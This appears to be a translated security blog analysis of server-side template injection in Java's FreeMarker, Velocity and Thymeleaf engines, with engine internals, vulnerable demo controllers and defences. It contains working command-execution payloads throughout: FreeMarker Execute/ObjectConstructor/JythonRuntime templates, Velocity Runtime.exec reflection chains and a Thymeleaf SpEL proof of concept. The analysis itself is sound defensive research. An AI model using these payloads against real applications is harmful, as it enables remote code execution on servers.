Java Server-Side Template Injection Vulnerability Analysis
FreeMarker
FreeMarker template files consist of four main components:
(1) Text: Directly output portions
(2) Comments: Using <#-- ... --> format for comments, content inside won't be output
(3) Interpolation: ${...} or #{...} formatted sections, similar to placeholders that will be replaced with data model content
(4) FTL directives: FreeMarker directives, short for FreeMarker Template Language, similar to HTML tags but prefixed with # for distinction, not output. FreeMarker uses FreeMarker Template Language (FTL), which is simple and dedicated language. However, FTL is not as mature programming language as PHP, meaning data preparation like database queries and business operations needs to be done in other real programming languages, then templates display prepared data. In templates, you can focus on how to present data, while outside templates you focus on what data to show.
FreeMarker is a template engine, a general-purpose tool for generating text output based on templates, written purely in Java. Templates don't contain business logic; external Java programs generate data through database operations and pass it to templates, then output pages. It can generate various texts: HTML, XML, RTF, Java source code, etc., doesn't require Servlet environment, and can load templates from any source like local files, databases, etc.
Demo:
hello.ftl
<html>
<head>
<meta charset="utf-8">
<title>Freemarker Introduction</title>
</head>
<body>
<#--Just a comment, no output-->
Hello ${userName}, ${greetingMessage}
</body>
</html>
HelloFreeMarker.java
public class HelloFreeMarkerExample {
public static void main(String[] args) throws Exception{
//1. Create configuration instance
Configuration configInstance = new Configuration(Configuration.getVersion());
//2. Set template directory
configInstance.setDirectoryForTemplateLoading(new File("D:\\development\\idea\\SSTI\\src\\main\\resources"));
//3. Set character encoding
configInstance.setDefaultEncoding("utf-8");
//4. Load template
Template tmpl = configInstance.getTemplate("hello.ftl");
//5. Create data model
Map dataMap = new HashMap();
dataMap.put("userName", "John");
dataMap.put("greetingMessage", "Welcome to my blog!");
//6. Create Writer instance
Writer writerOutput = new FileWriter(new File("D:\\development\\idea\\SSTI\\src\\main\\resources\\hello.html"));
//7. Process output
tmpl.process(dataMap, writerOutput);
//8. Close Writer instance
writerOutput.close();
}
}
Generated hello.html after execution:
<html>
<head>
<meta charset="utf-8">
<title>Freemarker Introduction</title>
</head>
<body>
Hello John, Welcome to my blog!
</body>
</html>
Vulnerable hello.ftl that executes commands and triggers calculator:
<html>
<head>
<meta charset="utf-8">
<title>Freemarker Introduction</title>
</body>
<body>
<#--Just a comment, no output-->
Hello ${userName}, ${greetingMessage}
<h3>
<#assign execUtil="freemarker.template.utility.Execute"?new()>${execUtil("calc")}
</h3>
</body>
</html>
Setting breakpoint at template.process(map, out); output statement
Get root node, call visit method
Push parent nodes into stack, extract each child node then call visit, finally pop stack, each node calls respective accept method
As shown in red box above, TextBlock#accept outputs text, Comment returns null directly
DollarVariable#accept
Follow eval function to see how values are retrieved
Finally reaches rootDataModel#get which gets values from initially encapsulated Environment, back to accept method returns string directly if condition matches
Let's examine how assign tag triggers command execution
Call eval method
Here MethodCall inherits Expression,
Follow NewBI#_eval
First, this exploitation class must be subclass of TemplateModel, and not subclass of BeanModel, returns constructor of this class
Create instance
Put into namespace
Call DollarVariable again to process ${execUtil("calc")}
Previous step put into currentNamespace, retrieve Execute object
Here eval retrieves malicious class, exec executes method
Finally calls Execute#exec command execution
Same value name completes command execution
<#assign execUtil="freemarker.template.utility.Execute"?new()>${execUtil("calc")}
freemarker.template.utility.ObjectConstructor
<#assign objCreator="freemarker.template.utility.ObjectConstructor"?new()>${objCreator("java.lang.ProcessBuilder","ifconfig").start()}
First parameter performs class loading, then calls parameterized constructor
Core method, parse objects, parameters, call corresponding exec method
freemarker.template.utility.JythonRuntime class
Requires jython dependency
<dependency>
<groupId>org.python</groupId>
<artifactId>jython-standalone</artifactId>
<version>2.7.3</version>
</dependency>
<#assign jythonHandler="freemarker.template.utility.JythonRuntime"?new()><@jythonHandler>import os;os.system("calc")</@jythonHandler>
Defense:
Filter freemarker.template.utility.JythonRuntime, freemarker.template.utility.Execute, freemarker.template.utility.ObjectConstructor
Configuration cfg = new Configuration();
cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);
Since version 2.3.17, official versions provide three TemplateClassResolver classes for parsing:
1. UNRESTRICTED_RESOLVER: Can obtain any class through ClassUtil.forName(className).
2. SAFER_RESOLVER: Cannot load freemarker.template.utility.JythonRuntime, freemarker.template.utility.Execute, freemarker.template.utility.ObjectConstructor these three classes.
3. ALLOWS_NOTHING_RESOLVER: Cannot resolve any class.
All versions require security additions, otherwise SSTI injection may occur
Velocity
Dependency:
<dependency>
<groupId>org.apache.velocity</groupId>
<artifactId>velocity-engine-core</artifactId>
<version>2.2</version>
</dependency>
Demo:
public static void main(String[] args) throws IOException {
// 1. Set velocity resource loader
Properties properties = new Properties();
properties.put("file.resource.loader.class", "org.apache.velocity.runtime.resource.loader.ClasspathResourceLoader");
// 2. Initialize velocity engine
Velocity.init(properties);
// 3. Create velocity context
VelocityContext velocityCtx = new VelocityContext();
velocityCtx.put("displayName", "Hello Velocity");
// 4. Load velocity template
Template template = Velocity.getTemplate("velocitytest.vm", "utf-8");
// 5. Merge data to template
FileWriter fileWriter = new FileWriter("D:\\development\\idea\\SSTI\\src\\main\\resources\\velocitytest.html");
template.merge(velocityCtx, fileWriter);
// 6. Release resources
fileWriter.close();
}
velocitytest.vm
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
hello , ${displayName}
</body>
</html>
Velocity Syntax:
- Comments
- Non-parsed content
- References
- Directives
References: Include property references, method references
Method References
Context
velocityCtx.put("currentTime", new Date());
${currentTime.getTime()}
#hello , 1750073365764 Output result
Directives
Directives mainly used for defining reusable modules, importing external resources, flow control. Directives start with # character.
Conditional Judgment
Write an isLoggedIn() method
Context
velocityCtx.put("userInfo", new User("john",true));
Template
#if($userInfo.isLoggedIn())
Welcome back
#else
Please log in.
#end
Output result
Loops
velocityCtx.put("animalList", new ArrayList<>(Arrays.asList("Cat","Dog","Pig")));
Include
Velocity supports including other template files via #include directive
#include(another.vm)
Mathematical Operations
Such as #set($result = $firstValue * $secondValue)
Value of a is $result
Can also be used for class method calls
#set($authStatus = $userInfo.isLoggedIn())
! Identifier
Provides simple way to ensure default value is used when referenced variable is empty, helps avoid null values in templates, enhancing template robustness and user experience, when you want to reference variable and provide default value
#set($userName = '')
${userName!"default"}
Output default
Malicious Code
#set($engine="e")
$engine.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc")
Echo whoami command
#set($emptyStr='')
#set($runtimeClass = $emptyStr.class.forName('java.lang.Runtime'))
#set($charClass = $emptyStr.class.forName('java.lang.Character'))
#set($stringClass = $emptyStr.class.forName('java.lang.String'))
//Start subprocess to execute command, return `Process` object
#set($execution=$runtimeClass.getRuntime().exec('whoami'))
//Method blocks until subprocess terminates
$execution.waitFor()
#set($inputStream=$execution.getInputStream())
#foreach( $counter in [1..$inputStream.available()])$stringClass.valueOf($charClass.toChars($inputStream.read()))#end
- **Purpose**: Convert bytes in output stream to string and output.
- **Principle**:
- `$inputStream.available()` Get readable byte count.
- `#foreach` Loop through each byte
- `$inputStream.read()` Read single byte, `Character.toChars()` convert to character array, `String.valueOf()` convert to string.
In Velocity template engine
1..is Range Operator syntax
Like 1..N generates [1..2..N]
Template Injection:
Velocity.evaluate method primarily combines given template string with context object to generate final output
Easy to understand, parse references, assignments, etc. To make templates dynamic rather than hardcoded, evaluate gives templates dynamic characteristics and this dynamic characteristic combined with controllable variables leads to injection
Simulate username controllable
String userNameInput="#set($engine=\"e\")$engine.getClass().forName(\"java.lang.Runtime\").getMethod(\"getRuntime\",null).invoke(null,null).exec(\"calc\")";
String templateContent = "Hello, " + userNameInput + " | Full name: $name, phone: $phone, email: $email";
Velocity.init();
VelocityContext contextObj = new VelocityContext();
contextObj.put("name", "test");
contextObj.put("phone", "1333333333");
contextObj.put("email", "test@test.com");
StringWriter stringWriter = new StringWriter();
Velocity.evaluate(contextObj, stringWriter, "test", templateContent);
System.out.println(stringWriter.toString());
Stored as AST tree, then call render for parsing
Put $engine into context #set($engine="e")
$engine.getClass().forName(\"java.lang.Runtime\").getMethod(\"getRuntime\",null).invoke(null,null).exec(\"cmd.exe /c calc\")
Store each method as ASTMethod through dots then chain call
Invoke methods through reflection, invoke executes method
template.merge
Method: Merge loaded context
Here directly referencing Hello-java-sec target example, same principle as FreeMarker injection, modified is template
Rather than above parsing through evaluate
Thymeleaf
Features
In Thymeleaf's html first add below identifier
<html xmlns:th="http://www.thymeleaf.org">
Syntax
<!--th:text is Thymeleaf attribute, used for displaying text-->
<h1 th:text="Welcome to Thymeleaf">Welcome to static HTML page</h1>
Thymeleaf provides some built-in tags, implement specific functions through tags.
| Tag | Purpose | Example |
|---|---|---|
| th:id | Replace id | <input th:id="${user.id}"/> |
| th:text | Text replacement | <p text:="${user.name}">bigsai</p> |
| th:utext | HTML-supporting text replacement | <p utext:="${htmlcontent}">content</p> |
| th:object | Replace object | <div th:object="${user}"></div> |
| th:value | Replace value | <input th:value="${user.name}" > |
| th:each | Iteration | <tr th:each="student:${user}" > |
| th:href | Replace hyperlink | <a th:href="@{index.html}">Hyperlink</a> |
| th:src | Replace resource | <script type="text/javascript" th:src="@{index.js}"></script> |
POC:
__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc.exe%22).getInputStream()).next()%7d__::.x
Vulnerable demo, briefly describe vulnerability principle, view pollution, when returning view containing :: executes fragment expression, where pre-processing operations contain spel expression execution
Demo
@Controller
public class VulnerableController {
@GetMapping("/path")
public String path(String inputName) {
return "user/" + inputName;
}
}
Directly come to springmvc view rendering function processDispatchResult,
Where call render, get view name, call resolveViewName to find suitable view resolver
Loop all view resolvers, call resolveViewName, return containing resolvable view resolvers
ContentNegotiatingViewResolver#resolveViewName mainly calls getCandidateViews to find all matching view resolvers
Add all matching ones
Then select most suitable resolver
Next call view.render for parsing
If contains :: then parse as fragment expression (in fragment expression :: part before is templateName, part after is markupSelectors)
fragmentExpression = (FragmentExpression)parser.parseExpression(context, "~{" + viewTemplateName + "}");
if (!viewTemplateName.contains("::")) {
templateName = viewTemplateName;
markupSelectors = null;
} else {
IStandardExpressionParser parser = StandardExpressions.getExpressionParser(configuration);
FragmentExpression fragmentExpression;
try {
fragmentExpression = (FragmentExpression)parser.parseExpression(context, "~{" + viewTemplateName + "}");
} catch (TemplateProcessingException var25) {
throw new IllegalArgumentException("Invalid template name specification: '" + viewTemplateName + "'");
}
FragmentExpression.ExecutedFragmentExpression fragment = FragmentExpression.createExecutedFragmentExpression(context, fragmentExpression);
templateName = FragmentExpression.resolveTemplateName(fragment);
markupSelectors = FragmentExpression.resolveFragments(fragment);
Map<String, Object> nameFragmentParameters = fragment.getFragmentParameters();
if (nameFragmentParameters != null) {
if (fragment.hasSyntheticParameters()) {
throw new IllegalArgumentException("Parameters in a view specification must be named (non-synthetic): '" + viewTemplateName + "'");
}
context.setVariables(nameFragmentParameters);
}
}
Here preprocess passed as true, perform pre-compilation on input
Match __, preprocessing marker, Thymeleaf expression preprocessing feature allows placing expressions within __...__, execute preprocessing expression first, then use result as part of subsequent expression for continued processing.
private static final Pattern PREPROCESS_EVAL_PATTERN = Pattern.compile("\\_\\_(.*?)\\_\\_", 32);
Call parseExpression again, here preprocess is false, process expression
Call execute to parse spel expression completing command execution. So entire poc construction is clear
So this also works
return "welcome :: " + sectionParam
Second vulnerable situation
@GetMapping("/doc/vul/{document}")
public void getDocument(@PathVariable String document) {
log.info("[vul] SSTI payload: {}", document);
}
This situation core remains unchanged, all about controlling view name to malicious poc during view rendering, causing fragment expression execution during view rendering
Since no view returned here, so view is null, call applyDefaultViewName to get default view name
Get path name as view name through getCachedPath
Call transformPath to format path name, including removing suffix extensions
So in poc if last . not added will cause last . in spel expression to be truncated, sothat's why need to add . at end
After that same process, above 3.0.11 and earlier can use
Later bypasses can check
JAVA Security Thymeleaf Template Injection Protection Bypass - Xianzhi Community
References:
JAVA Security Velocity Template Injection Analysis - Xianzhi Community
Java Template Engine Injection (SSTI) Vulnerability Research - Zheng Han - Blog Garden
JAVA Security Thymeleaf Template Injection Protection Bypass - Xianzhi Community